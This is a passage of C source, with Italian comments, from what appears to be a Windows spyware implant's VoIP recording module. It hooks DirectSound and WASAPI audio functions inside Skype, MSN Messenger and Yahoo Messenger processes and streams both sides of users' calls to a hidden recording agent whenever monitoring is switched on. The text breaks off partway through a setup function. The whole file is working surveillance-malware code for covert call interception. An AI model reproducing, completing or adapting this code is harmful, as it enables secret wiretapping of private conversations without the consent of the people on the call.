#include #include #include #include "speex/speex.h" #include "dsound.h" #define SAMPLE_RATE_DEFAULT 48000 #define SAMPLE_RATE_SKYPE 48000 #define SAMPLE_RATE_SKYPE_W 44100 #define SAMPLE_RATE_GTALK 48000 #define SAMPLE_RATE_YMSG 48000 #define SAMPLE_RATE_YMSG_IN 96000 #define SAMPLE_RATE_MSN 16000 typedef MMRESULT (WINAPI *waveOutGetID_t) (HWAVEOUT , LPUINT); typedef MMRESULT (WINAPI *waveInGetID_t) (HWAVEOUT , LPUINT); typedef HRESULT (WINAPI *DirectSoundCreate_t) (LPCGUID , LPDIRECTSOUND *, DWORD); typedef HRESULT (WINAPI *DirectSoundCaptureCreate_t) (LPCGUID , LPDIRECTSOUNDCAPTURE *, DWORD); // Funzioni risolte nella DLL del CODEC typedef void *(*speex_encoder_init_t)(SpeexMode *); typedef int (*speex_encoder_ctl_t)(void *, int, void *); typedef void (*speex_encoder_destroy_t)(void *); typedef int (*speex_encode_t)(void *, float *, SpeexBits *); typedef void (*speex_bits_init_t)(SpeexBits *); typedef void (*speex_bits_reset_t)(SpeexBits *); typedef int (*speex_bits_write_t)(SpeexBits *, char *, int); typedef void (*speex_bits_destroy_t)(SpeexBits *); typedef SpeexMode *(*speex_lib_get_mode_t)(int); speex_encoder_init_t rel_speex_encoder_init; speex_encoder_ctl_t rel_speex_encoder_ctl; speex_encoder_destroy_t rel_speex_encoder_destroy; speex_encode_t rel_speex_encode; speex_bits_init_t rel_speex_bits_init; speex_bits_reset_t rel_speex_bits_reset; speex_bits_write_t rel_speex_bits_write; speex_bits_destroy_t rel_speex_bits_destroy; speex_lib_get_mode_t rel_speex_lib_get_mode; typedef struct partner_struct { DWORD Id; DWORD participants; char *peer; #define VOIP_SKYPE 1 #define VOIP_GTALK 2 #define VOIP_YAHOO 3 #define VOIP_MSMSG 4 #define VOIP_MOBIL 5 #define VOIP_SKWSA 6 #define VOIP_MSNWS 7 DWORD voip_program; #define CALL_SKYPE_OLD 1 // Abbiamo ricevuto un chunl audio NON dalle wasapi, quindi ignoriamo quelli provenienti da li' DWORD flags; struct partner_struct *next; } partner_entry; typedef struct _VoiceAdditionalData { UINT uVersion; #define LOG_VOICE_VERSION 2008121901 UINT uChannel; UINT uProgramType; UINT uSampleRate; UINT uIngoing; FILETIME start; FILETIME stop; UINT uCallerIdLen; UINT uCalleeIdLen; } VoiceAdditionalData, *pVoiceAdditionalData; #define FLAGS_INPUT 1 // Ricevuto dal microfono #define FLAGS_OUTPUT 2 // Suonato dalla scheda audio #define FLAGS_SKAPI_INI 4 // Messaggio delle api di Skype (inizializzazione) #define FLAGS_SKAPI_MSG 8 // Messaggio delle api di Skype #define FLAGS_SKAPI_WND 16 // Messaggio delle api di Skype (thread di dispatch) #define FLAGS_SKAPI_SWD 32 // Messaggio delle api di Skype #define FLAGS_SKAPI_ATT 64 // Messaggio di Skype: Segnala il core che deve fare l'attach per inviare messaggi #define FLAGS_YMSG_IN 128 // Messaggio delle api di YahooMessenger #define FLAGS_YMSG_OUT 256 // Messaggio delle api di YahooMessenger #define FLAGS_GTALK_IN 512 // Messaggio delle api di Gtalk #define FLAGS_GTALK_OUT 1024 // Messaggio delle api di Gtalk #define FLAGS_MSN_IN 2048 // Messaggio delle api di Msn Live #define FLAGS_MSN_OUT 4096 // Messaggio delle api di Msn Live #define FLAGS_SAMPLING 8192 // Messaggio per indicare il sample rate // Gli ultimi due bit di flag (2^30 e 2^31) sono riservati al chunk // audio e contengoono il numero di canali utilizzato // In questo caso i bit da 24 a 29 sono usati per identificare il tipo di // programma utilizzato #define MAX_HASHKEY_LEN MAX_PATH*3 // Lunghezza massima chiavi di hash per skype config #define DEFAULT_SAMPLE_SIZE (512*1024) // 512KB #define DEFAULT_COMPRESSION 3 #define MAX_ID_LEN 250 #define CALL_DELTA 16 // Intervallo in decimi di secondo che differenzia due chiamate #define INPUT_ELEM 0 #define OUTPUT_ELEM 1 CRITICAL_SECTION skype_critic_sec; partner_entry *call_list_head = NULL; BOOL bPM_VoipRecordStarted = FALSE; // Flag che indica se il monitor e' attivo o meno DWORD sample_size[2] = {0,0}; // Viene inizializzato solo all'inizio DWORD sample_channels[2] = {1,1}; // Numero di canali DWORD sample_sampling[2] = {SAMPLE_RATE_SKYPE_W, SAMPLE_RATE_SKYPE_W}; // Sample rate dei due canali per skype con wasapi FILETIME channel_time_start[2]; // Time stamp di inizio chiamata FILETIME channel_time_last[2]; // Time stamp dell'ultimo campione BYTE *wave_array[2] = {NULL, NULL}; // Buffer contenenti i PCM dei due canali DWORD max_sample_size = 500000; // Dimensione oltre la quale salva un sample su file DWORD compress_factor = 5; // Fattore di compressione del codec HMODULE codec_handle = NULL; // Handle alla dll del codec BOOL bPM_spmcp = FALSE; // Semaforo per l'uscita del thread HANDLE hSkypePMThread = NULL; BOOL IsSkypePMInstalled(); // Sono condivise anche da IM e Contacts HWND skype_api_wnd = NULL; HWND skype_pm_wnd = NULL; #include // XXX Dovrei liberare i buffer e le strutture create BYTE *GetDirectSoundGetCP(BYTE **DSLock, BYTE **DSUnlock, BYTE **DSGetFormat) { LPDIRECTSOUNDBUFFER lpDSBuffer; LPDIRECTSOUND lpDS = NULL; PCMWAVEFORMAT pcmwf; DSBUFFERDESC dsbdesc; BYTE ***interface_ptr; BYTE **func_ptr; HMODULE hdsound; DirectSoundCreate_t pDirectSoundCreate; if ( !(hdsound = LoadLibrary("dsound.dll") ) ) return NULL; if ( !(pDirectSoundCreate = (DirectSoundCreate_t)HM_SafeGetProcAddress(hdsound, "DirectSoundCreate") ) ) return NULL; if (DS_OK != pDirectSoundCreate(NULL, &lpDS, NULL)) return NULL; memset( &pcmwf, 0, sizeof(PCMWAVEFORMAT) ); pcmwf.wf.wFormatTag = WAVE_FORMAT_PCM; pcmwf.wf.nChannels = 1; pcmwf.wf.nSamplesPerSec = 48000; pcmwf.wf.nBlockAlign = (WORD)2; pcmwf.wf.nAvgBytesPerSec = 96000; pcmwf.wBitsPerSample = (WORD)16; memset(&dsbdesc, 0, sizeof(DSBUFFERDESC)); dsbdesc.dwSize = sizeof(DSBUFFERDESC); dsbdesc.dwFlags = DSBCAPS_CTRLFREQUENCY|DSBCAPS_CTRLPAN|DSBCAPS_CTRLVOLUME ; dsbdesc.dwBufferBytes = 512; dsbdesc.lpwfxFormat = (LPWAVEFORMATEX)&pcmwf; if (DS_OK != lpDS->CreateSoundBuffer(&dsbdesc, &lpDSBuffer, NULL)) return NULL; interface_ptr = (BYTE ***)lpDSBuffer; func_ptr = *interface_ptr; *DSLock = *(func_ptr + 11); *DSUnlock = *(func_ptr + 19); *DSGetFormat = *(func_ptr + 5); if ((*DSLock) == NULL || (*DSUnlock) == NULL || (*DSGetFormat) == NULL) return NULL; func_ptr += 4; return *func_ptr; } // XXX Dovrei liberare i buffer e le strutture create BYTE *GetDirectSoundCaptureGetCP(BYTE **DSLock, BYTE **DSUnlock, BYTE **DSGetFormat) { LPDIRECTSOUNDCAPTURE lpDSC; LPDIRECTSOUNDCAPTUREBUFFER lpDSCB; DSCBUFFERDESC cdbufd; PCMWAVEFORMAT pcmwf; BYTE ***interface_ptr; BYTE **func_ptr; HMODULE hdsound; DirectSoundCaptureCreate_t pDirectSoundCaptureCreate; if ( !(hdsound = LoadLibrary("dsound.dll") ) ) return NULL; if ( !(pDirectSoundCaptureCreate = (DirectSoundCaptureCreate_t)HM_SafeGetProcAddress(hdsound, "DirectSoundCaptureCreate") ) ) return NULL; if ( DS_OK != pDirectSoundCaptureCreate(NULL, &lpDSC, NULL)) return NULL; memset( &pcmwf, 0, sizeof(PCMWAVEFORMAT) ); pcmwf.wf.wFormatTag = WAVE_FORMAT_PCM; pcmwf.wf.nChannels = 1; pcmwf.wf.nSamplesPerSec = 48000; pcmwf.wf.nBlockAlign = (WORD)2; pcmwf.wf.nAvgBytesPerSec = 96000; pcmwf.wBitsPerSample = (WORD)16; memset(&cdbufd, 0, sizeof(cdbufd)); cdbufd.dwSize = sizeof(DSCBUFFERDESC); cdbufd.dwBufferBytes = 100; cdbufd.lpwfxFormat = (LPWAVEFORMATEX)&pcmwf; if (DS_OK != lpDSC->CreateCaptureBuffer(&cdbufd, &lpDSCB, NULL)) return NULL; interface_ptr = (BYTE ***)lpDSCB; func_ptr = *interface_ptr; *DSLock = *(func_ptr + 8); *DSUnlock = *(func_ptr + 11); *DSGetFormat = *(func_ptr + 5); if ((*DSLock) == NULL || (*DSUnlock) == NULL || (*DSGetFormat) == NULL) return NULL; func_ptr += 4; return *func_ptr; } typedef DWORD (WINAPI *DSLock_t)(DWORD, DWORD, DWORD, LPVOID *, LPDWORD, LPVOID *, LPDWORD, DWORD); typedef DWORD (WINAPI *DSUnlock_t)(DWORD, LPVOID, DWORD, LPVOID, DWORD); typedef DWORD (WINAPI *DSGetFormat_t)(DWORD, LPVOID, DWORD, LPDWORD); /////////////////////////// // // Dsound::DSGetCP // /////////////////////////// typedef struct { COMMONDATA; DWORD prog_type; DWORD old_play_c; DWORD saved_cp; BYTE *buffer_address; DWORD buffer_tot_len; DSLock_t pDSLock; DSUnlock_t pDSUnlock; DSGetFormat_t pDSGetFormat; } DSGetCPStruct; DSGetCPStruct DSGetCPData; #define THRESHOLD 0x3C0 #define LARGE_CLI_WRITE(x, y, z, k) { BYTE *wave_ptr = x; \ DWORD to_write = y; \ while (to_write > 0) { \ if (to_write <= MAX_MSG_LEN) { \ pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, wave_ptr, to_write, z, k); \ to_write = 0; \ } else { \ pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, wave_ptr, MAX_MSG_LEN, z, k); \ wave_ptr += MAX_MSG_LEN; \ to_write -= MAX_MSG_LEN; }}} DWORD __stdcall PM_DSGetCP(DWORD class_ptr, DWORD *write_c, DWORD *play_c) { BOOL *Active; DWORD *dummy1; DWORD dummy2; BYTE *temp_buf; DWORD temp_len; DWORD new_counter; WAVEFORMATEX wfx_format; MARK_HOOK INIT_WRAPPER(DSGetCPStruct) CALL_ORIGINAL_API(3); // Se qualcosa e' andato storto, ritorna if(!((DWORD)pData->pHM_IpcCliWrite) || ret_code!=DS_OK) return ret_code; // Copia il valore in locale per evitare race if (play_c == NULL) return ret_code; new_counter = *play_c; // Controlla se il monitor e' attivo Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT); if (!Active || !(*Active)) return ret_code; // Locka l'intero buffer // lo fa ogni volta per trovare gli indirizzi anche quando // cambia il buffer lasciando invariato il class_ptr if (pData->pDSLock(class_ptr, 0, 0, (LPVOID *)&temp_buf, &temp_len, (LPVOID *)&(dummy1), &(dummy2), DSBLOCK_ENTIREBUFFER) != DS_OK) return ret_code; pData->pDSUnlock(class_ptr, temp_buf, temp_len, dummy1, dummy2); wfx_format.nChannels = 2; pData->pDSGetFormat(class_ptr, &wfx_format, sizeof(WAVEFORMATEX), NULL); // Se e' la prima volta che lo chiama (o ha cambiato buffer) // salva i valori e ritorna if (pData->old_play_c == -1 || pData->saved_cp != class_ptr || pData->buffer_address != temp_buf || pData->buffer_tot_len != temp_len) { if ( (new_counter%2)==0 ) { pData->old_play_c = new_counter; pData->saved_cp = class_ptr; pData->buffer_address = temp_buf; pData->buffer_tot_len = temp_len; } return ret_code; } // Nessun cambiamento if (new_counter == pData->old_play_c) return ret_code; // Non ha wrappato if (new_counter > pData->old_play_c) { dummy2 = (new_counter - pData->old_play_c); if ( dummy2>=THRESHOLD && dummy2<=THRESHOLD*60 && (dummy2%2)==0 ) { LARGE_CLI_WRITE((pData->buffer_address + pData->old_play_c), (new_counter - pData->old_play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY); pData->old_play_c = new_counter; } } else { // Ha wrappato dummy2 = new_counter + (pData->buffer_tot_len - pData->old_play_c); if ( dummy2>=THRESHOLD && dummy2<=THRESHOLD*60 && (dummy2%2)==0 ) { LARGE_CLI_WRITE((pData->buffer_address + pData->old_play_c), (pData->buffer_tot_len - pData->old_play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY); LARGE_CLI_WRITE((pData->buffer_address), new_counter, (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY); pData->old_play_c = new_counter; } } return ret_code; } DWORD PM_DSGetCP_setup(HMServiceStruct *pData) { char proc_path[DLLNAMELEN]; char *proc_name; HMODULE hMod; // Verifica autonomamente se si tratta del processo voip ZeroMemory(proc_path, sizeof(proc_path)); FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1); proc_name = strrchr(proc_path, '\\'); if (proc_name) { proc_name++; if (stricmp(proc_name, "skype.exe") && stricmp(proc_name, "msnmsgr.exe") && stricmp(proc_name, "yahoomessenger.exe")) return 1; // Hooka solo skype.exe e MSN if (!stricmp(proc_name, "msnmsgr.exe") && IsVista(NULL)) return 1; // Solo su XP prendiamo le dsound } else return 1; if (!stricmp(proc_name, "skype.exe")) DSGetCPData.prog_type = VOIP_SKYPE; else if (!stricmp(proc_name, "msnmsgr.exe")) DSGetCPData.prog_type = VOIP_MSMSG; else if (!stricmp(proc_name, "yahoomessenger.exe")) DSGetCPData.prog_type = VOIP_YAHOO; else DSGetCPData.prog_type = 0; DSGetCPData.pHM_IpcCliRead = pData->pHM_IpcCliRead; DSGetCPData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite; DSGetCPData.old_play_c = -1; if ( ! (DSGetCPData.bAPIAdd = GetDirectSoundGetCP( (BYTE **)&(DSGetCPData.pDSLock), (BYTE **)&(DSGetCPData.pDSUnlock), (BYTE **)&(DSGetCPData.pDSGetFormat) ) )) return 1; DSGetCPData.dwHookLen = 980; return 0; } /////////////////////////// // // Dsound::DSCapGetCP // /////////////////////////// typedef struct { COMMONDATA; DWORD prog_type; DWORD old_play_c; DWORD saved_cp; BYTE *buffer_address; DWORD buffer_tot_len; DSLock_t pDSLock; DSUnlock_t pDSUnlock; DSGetFormat_t pDSGetFormat; } DSCapGetCPStruct; DSCapGetCPStruct DSCapGetCPData; DWORD __stdcall PM_DSCapGetCP(DWORD class_ptr, DWORD *write_c, DWORD *play_c) { BOOL *Active; DWORD *dummy1; DWORD dummy2; BYTE *temp_buf; DWORD temp_len; WAVEFORMATEX wfx_format; MARK_HOOK INIT_WRAPPER(DSCapGetCPStruct) CALL_ORIGINAL_API(3); if(play_c == NULL) return ret_code; // Se e' andato storto, ritorna if(!((DWORD)pData->pHM_IpcCliWrite) || ret_code!=DS_OK) return ret_code; // Controlla se il monitor e' attivo Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT); if (!Active || !(*Active)) return ret_code; // Locka l'intero buffer // lo fa ogni volta per trovare gli indirizzi anche quando // cambia il buffer lasciando invariato il class_ptr if (pData->pDSLock(class_ptr, 0, 0, (LPVOID *)&temp_buf, &temp_len, (LPVOID *)&(dummy1), &(dummy2), DSCBLOCK_ENTIREBUFFER) != DS_OK) return ret_code; pData->pDSUnlock(class_ptr, temp_buf, temp_len, dummy1, dummy2); wfx_format.nChannels = 2; pData->pDSGetFormat(class_ptr, &wfx_format, sizeof(WAVEFORMATEX), NULL); // Se e' la prima volta che lo chiama (o ha cambiato buffer) // salva i valori e ritorna if (pData->old_play_c == -1 || pData->saved_cp != class_ptr || pData->buffer_address != temp_buf || pData->buffer_tot_len != temp_len) { // Check paranoico if(play_c) pData->old_play_c = *play_c; else return ret_code; pData->saved_cp = class_ptr; pData->buffer_address = temp_buf; pData->buffer_tot_len = temp_len; return ret_code; } // Nessuno cambiamento if (*play_c == pData->old_play_c) return ret_code; // Non ha wrappato if (*play_c > pData->old_play_c) { if ( (*play_c - pData->old_play_c) >= THRESHOLD ) { LARGE_CLI_WRITE((pData->buffer_address + pData->old_play_c), (*play_c - pData->old_play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_INPUT, IPC_LOW_PRIORITY); pData->old_play_c = *play_c; } } else { // Ha wrappato if (*play_c + (pData->buffer_tot_len - pData->old_play_c) >= THRESHOLD ) { LARGE_CLI_WRITE((pData->buffer_address + pData->old_play_c), (pData->buffer_tot_len - pData->old_play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_INPUT, IPC_LOW_PRIORITY); LARGE_CLI_WRITE((pData->buffer_address), (*play_c), (wfx_format.nChannels<<30) | (pData->prog_type<<24) | FLAGS_INPUT, IPC_LOW_PRIORITY); pData->old_play_c = *play_c; } } return ret_code; } DWORD PM_DSCapGetCP_setup(HMServiceStruct *pData) { char proc_path[DLLNAMELEN]; char *proc_name; HMODULE hMod; // Verifica autonomamente se si tratta del processo voip ZeroMemory(proc_path, sizeof(proc_path)); FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1); proc_name = strrchr(proc_path, '\\'); if (proc_name) { proc_name++; if (stricmp(proc_name, "skype.exe") && stricmp(proc_name, "msnmsgr.exe") && stricmp(proc_name, "yahoomessenger.exe")) return 1; // Hooka solo skype.exe e MSN if (!stricmp(proc_name, "msnmsgr.exe") && IsVista(NULL)) return 1; // Solo su XP prendiamo le dsound } else return 1; DSCapGetCPData.pHM_IpcCliRead = pData->pHM_IpcCliRead; DSCapGetCPData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite; DSCapGetCPData.old_play_c = -1; if (!stricmp(proc_name, "skype.exe")) DSCapGetCPData.prog_type = VOIP_SKYPE; else if (!stricmp(proc_name, "msnmsgr.exe")) DSCapGetCPData.prog_type = VOIP_MSMSG; else if (!stricmp(proc_name, "yahoomessenger.exe")) DSGetCPData.prog_type = VOIP_YAHOO; else DSCapGetCPData.prog_type = 0; if ( ! (DSCapGetCPData.bAPIAdd = GetDirectSoundCaptureGetCP( (BYTE **)&(DSCapGetCPData.pDSLock), (BYTE **)&(DSCapGetCPData.pDSUnlock), (BYTE **)&(DSCapGetCPData.pDSGetFormat) ) )) return 1; DSCapGetCPData.dwHookLen = 980; return 0; } /////////////////////////// // // WASAPI // /////////////////////////// #define SKYPE_WASAPI_BITS 2 #define MSN_WASAPI_BITS 4 #define WASAPI_GETBUFFER 3 #define WASAPI_RELEASEBUFFER 4 BYTE *GetWASAPIRenderFunctionAddress(IMMDevice *pMMDevice, DWORD func_num, DWORD *n_channels, DWORD *sampling) { BYTE **func_ptr; BYTE ***interface_ptr; HRESULT hr; WAVEFORMATEX *pwfx; IAudioClient *pAudioClient = NULL; IAudioRenderClient *pAudioRenderClient = NULL; hr = pMMDevice->Activate(__uuidof(IAudioClient), CLSCTX_ALL, NULL, (void**)&pAudioClient); if (FAILED(hr)) return NULL; hr = pAudioClient->GetMixFormat(&pwfx); if (FAILED(hr)) { pAudioClient->Release(); return NULL; } if (n_channels) *n_channels = (DWORD)(pwfx->nChannels); if (sampling) *sampling = (DWORD)(pwfx->nSamplesPerSec); hr = pAudioClient->Initialize(AUDCLNT_SHAREMODE_SHARED, AUDCLNT_STREAMFLAGS_EVENTCALLBACK, 0, 0, pwfx, NULL); CoTaskMemFree(pwfx); if (FAILED(hr)) { pAudioClient->Release(); return NULL; } hr = pAudioClient->GetService(__uuidof(IAudioRenderClient), (void**)&pAudioRenderClient); if (FAILED(hr)) { pAudioClient->Release(); return NULL; } interface_ptr = (BYTE ***)pAudioRenderClient; if (!interface_ptr || !(func_ptr = *interface_ptr)) { pAudioRenderClient->Release(); pAudioClient->Release(); return NULL; } func_ptr += func_num; pAudioRenderClient->Release(); pAudioClient->Release(); return *func_ptr; } HRESULT GetWASAPIRenderFunction(BYTE **ret_ptr, DWORD func_num, DWORD *n_channels, DWORD *sampling) { BYTE *func_ptr; IMMDeviceEnumerator *pMMDeviceEnumerator; IMMDevice *pMMDevice; HRESULT hr = S_OK; CoInitialize(NULL); hr = CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), (void**)&pMMDeviceEnumerator); if (FAILED(hr)) { CoUninitialize(); return hr; } hr = pMMDeviceEnumerator->GetDefaultAudioEndpoint(eRender, eCommunications, &pMMDevice); pMMDeviceEnumerator->Release(); if (FAILED(hr)) { CoUninitialize(); return hr; } func_ptr = GetWASAPIRenderFunctionAddress(pMMDevice, func_num, n_channels, sampling); pMMDevice->Release(); CoUninitialize(); if (func_ptr) { *ret_ptr = func_ptr; return S_OK; } return S_FALSE; } typedef struct { COMMONDATA; BYTE *obj_ptr; BYTE *obj_ptr2; BYTE *audio_data; BYTE *audio_data2; BOOL active; BOOL active2; } WASAPIGetBufferStruct; WASAPIGetBufferStruct WASAPIGetBufferData; HRESULT __stdcall PM_WASAPIGetBuffer(BYTE *class_ptr, DWORD NumFramesRequested, BYTE **ppData) { BOOL *Active; MARK_HOOK INIT_WRAPPER(WASAPIGetBufferStruct) CALL_ORIGINAL_API(3); // Controlla se il monitor e' attivo Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT); if (ret_code!=S_OK || !Active || !(*Active)) return ret_code; // E' una nuova chiamata if (pData->obj_ptr && pData->obj_ptr2 && pData->obj_ptr!=class_ptr && pData->obj_ptr2!=class_ptr) { pData->obj_ptr = NULL; pData->obj_ptr2 = NULL; pData->active = FALSE; pData->active2 = FALSE; } // Memorizza 2 oggetti if (pData->obj_ptr == NULL) { pData->obj_ptr = class_ptr; pData->audio_data = *ppData; } else if (pData->obj_ptr != class_ptr) { if (pData->obj_ptr2 == NULL) { pData->obj_ptr2 = class_ptr; pData->audio_data2 = *ppData; } } if (pData->obj_ptr == class_ptr) pData->audio_data = *ppData; if (pData->obj_ptr2 == class_ptr) pData->audio_data2 = *ppData; return ret_code; } DWORD PM_WASAPIGetBuffer_setup(HMServiceStruct *pData) { char proc_path[DLLNAMELEN]; char *proc_name; // Verifica autonomamente se si tratta del processo voip ZeroMemory(proc_path, sizeof(proc_path)); FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1); proc_name = strrchr(proc_path, '\\'); if (proc_name) { proc_name++; if (stricmp(proc_name, "skype.exe")) return 1; // Hooka solo skype.exe } else return 1; WASAPIGetBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite; WASAPIGetBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead; WASAPIGetBufferData.obj_ptr = NULL; WASAPIGetBufferData.obj_ptr2 = NULL; WASAPIGetBufferData.audio_data = NULL; WASAPIGetBufferData.audio_data2 = NULL; WASAPIGetBufferData.active = FALSE; WASAPIGetBufferData.active2 = FALSE; if (GetWASAPIRenderFunction(&(WASAPIGetBufferData.bAPIAdd), WASAPI_GETBUFFER, NULL, NULL) != S_OK) return 1; WASAPIGetBufferData.dwHookLen = 350; return 0; } typedef struct { COMMONDATA; DWORD prog_type; WASAPIGetBufferStruct *c_data; DWORD n_channels; DWORD sampling; DWORD sampling2; } WASAPIReleaseBufferStruct; WASAPIReleaseBufferStruct WASAPIReleaseBufferData; HRESULT __stdcall PM_WASAPIReleaseBuffer(BYTE *class_ptr, DWORD NumFramesWrittem, DWORD Flags) { BOOL *Active; DWORD i; MARK_HOOK INIT_WRAPPER(WASAPIReleaseBufferStruct) // Controlla se il monitor e' attivo Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT); if (Active && (*Active) && NumFramesWrittem>0 && pData->pHM_IpcCliWrite) { if (pData->sampling != 0) { pData->pHM_IpcCliWrite(PM_VOIPRECORDAGENT, (BYTE *)&(pData->sampling), 4, FLAGS_SAMPLING | FLAGS_OUTPUT, IPC_HI_PRIORITY); pData->sampling = 0; } if (pData->c_data->obj_ptr==class_ptr) { // Vede se e' un oggetto in cui sta scrivendo qualcosa if (!pData->c_data->active) for (i=0; i<256; i++) { if (pData->c_data->audio_data[i] != 0) { pData->c_data->active = TRUE; break; } } if (pData->c_data->active) LARGE_CLI_WRITE(pData->c_data->audio_data, NumFramesWrittem*SKYPE_WASAPI_BITS*pData->n_channels, ((pData->n_channels)<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY); } if (pData->c_data->obj_ptr2==class_ptr) { // Vede se e' un oggetto in cui sta scrivendo qualcosa if (!pData->c_data->active2) for (i=0; i<256; i++) { if (pData->c_data->audio_data2[i] != 0) { pData->c_data->active2 = TRUE; break; } } if (pData->c_data->active2) LARGE_CLI_WRITE(pData->c_data->audio_data2, NumFramesWrittem*SKYPE_WASAPI_BITS*pData->n_channels, ((pData->n_channels)<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY); } } CALL_ORIGINAL_API(3); return ret_code; } DWORD PM_WASAPIReleaseBuffer_setup(HMServiceStruct *pData) { char proc_path[DLLNAMELEN]; char *proc_name; // Verifica autonomamente se si tratta del processo voip ZeroMemory(proc_path, sizeof(proc_path)); FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1); proc_name = strrchr(proc_path, '\\'); if (proc_name) { proc_name++; if (stricmp(proc_name, "skype.exe")) return 1; // Hooka solo skype.exe } else return 1; WASAPIReleaseBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite; WASAPIReleaseBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead; WASAPIReleaseBufferData.c_data = (WASAPIGetBufferStruct *)pData->PARAM[0]; WASAPIReleaseBufferData.prog_type = VOIP_SKWSA; if (GetWASAPIRenderFunction(&(WASAPIReleaseBufferData.bAPIAdd), WASAPI_RELEASEBUFFER, &(WASAPIReleaseBufferData.n_channels), &(WASAPIReleaseBufferData.sampling)) != S_OK) return 1; WASAPIReleaseBufferData.dwHookLen = 800; return 0; } BYTE *GetWASAPICaptureFunctionAddress(IMMDevice *pMMDevice, DWORD func_num, DWORD *n_channels, DWORD *sampling) { BYTE **func_ptr; BYTE ***interface_ptr; HRESULT hr; WAVEFORMATEX *pwfx; IAudioClient *pAudioClient = NULL; IAudioCaptureClient *pAudioCaptureClient = NULL; hr = pMMDevice->Activate(__uuidof(IAudioClient), CLSCTX_ALL, NULL, (void**)&pAudioClient); if (FAILED(hr)) return NULL; hr = pAudioClient->GetMixFormat(&pwfx); if (FAILED(hr)) { pAudioClient->Release(); return NULL; } if (n_channels) *n_channels = (DWORD)(pwfx->nChannels); if (sampling) *sampling = (DWORD)(pwfx->nSamplesPerSec); hr = pAudioClient->Initialize(AUDCLNT_SHAREMODE_SHARED, AUDCLNT_STREAMFLAGS_EVENTCALLBACK, 0, 0, pwfx, NULL); CoTaskMemFree(pwfx); if (FAILED(hr)) { pAudioClient->Release(); return NULL; } hr = pAudioClient->GetService(__uuidof(IAudioCaptureClient), (void**)&pAudioCaptureClient); if (FAILED(hr)) { pAudioClient->Release(); return NULL; } interface_ptr = (BYTE ***)pAudioCaptureClient; if (!interface_ptr || !(func_ptr = *interface_ptr)) { pAudioCaptureClient->Release(); pAudioClient->Release(); return NULL; } func_ptr += func_num; pAudioCaptureClient->Release(); pAudioClient->Release(); return *func_ptr; } HRESULT GetWASAPICaptureFunction(BYTE **ret_ptr, DWORD func_num, DWORD *n_channels, DWORD *sampling) { BYTE *func_ptr; IMMDeviceEnumerator *pMMDeviceEnumerator; IMMDevice *pMMDevice; HRESULT hr = S_OK; CoInitialize(NULL); hr = CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), (void**)&pMMDeviceEnumerator); if (FAILED(hr)) { CoUninitialize(); return hr; } hr = pMMDeviceEnumerator->GetDefaultAudioEndpoint(eCapture, eCommunications, &pMMDevice); pMMDeviceEnumerator->Release(); if (FAILED(hr)) { CoUninitialize(); return hr; } func_ptr = GetWASAPICaptureFunctionAddress(pMMDevice, func_num, n_channels, sampling); pMMDevice->Release(); CoUninitialize(); if (func_ptr) { *ret_ptr = func_ptr; return S_OK; } return S_FALSE; } HRESULT __stdcall PM_WASAPICaptureGetBuffer(BYTE *class_ptr, BYTE **ppData, UINT32 *pNumFramesToRead, DWORD *pdwFlags, UINT64 *pu64DevicePosition, UINT64 *pu64QPCPosition) { BOOL *Active; MARK_HOOK INIT_WRAPPER(WASAPIGetBufferStruct) CALL_ORIGINAL_API(6); // Controlla se il monitor e' attivo Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT); if (ret_code!=S_OK || !Active || !(*Active)) return ret_code; pData->obj_ptr = class_ptr; pData->audio_data = *ppData; return ret_code; } HRESULT __stdcall PM_WASAPICaptureGetBufferMSN(BYTE *class_ptr, BYTE **ppData, UINT32 *pNumFramesToRead, DWORD *pdwFlags, UINT64 *pu64DevicePosition, UINT64 *pu64QPCPosition) { BOOL *Active; MARK_HOOK INIT_WRAPPER(WASAPIGetBufferStruct) CALL_ORIGINAL_API(6); // Controlla se il monitor e' attivo Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT); if (ret_code!=S_OK || !Active || !(*Active)) return ret_code; // E' una nuova chiamata if (pData->obj_ptr && pData->obj_ptr2 && pData->obj_ptr!=class_ptr && pData->obj_ptr2!=class_ptr) { pData->obj_ptr = NULL; pData->obj_ptr2 = NULL; } // Memorizza entrambi gli oggetti aperti da MSN if (pData->obj_ptr == NULL) { pData->obj_ptr = class_ptr; pData->audio_data = *ppData; } else if (pData->obj_ptr != class_ptr) { if (pData->obj_ptr2 == NULL) { pData->obj_ptr2 = class_ptr; pData->audio_data2 = *ppData; } } if (pData->obj_ptr == class_ptr) pData->audio_data = *ppData; if (pData->obj_ptr2 == class_ptr) pData->audio_data2 = *ppData; return ret_code; } DWORD PM_WASAPICaptureGetBuffer_setup(HMServiceStruct *pData) { char proc_path[DLLNAMELEN]; 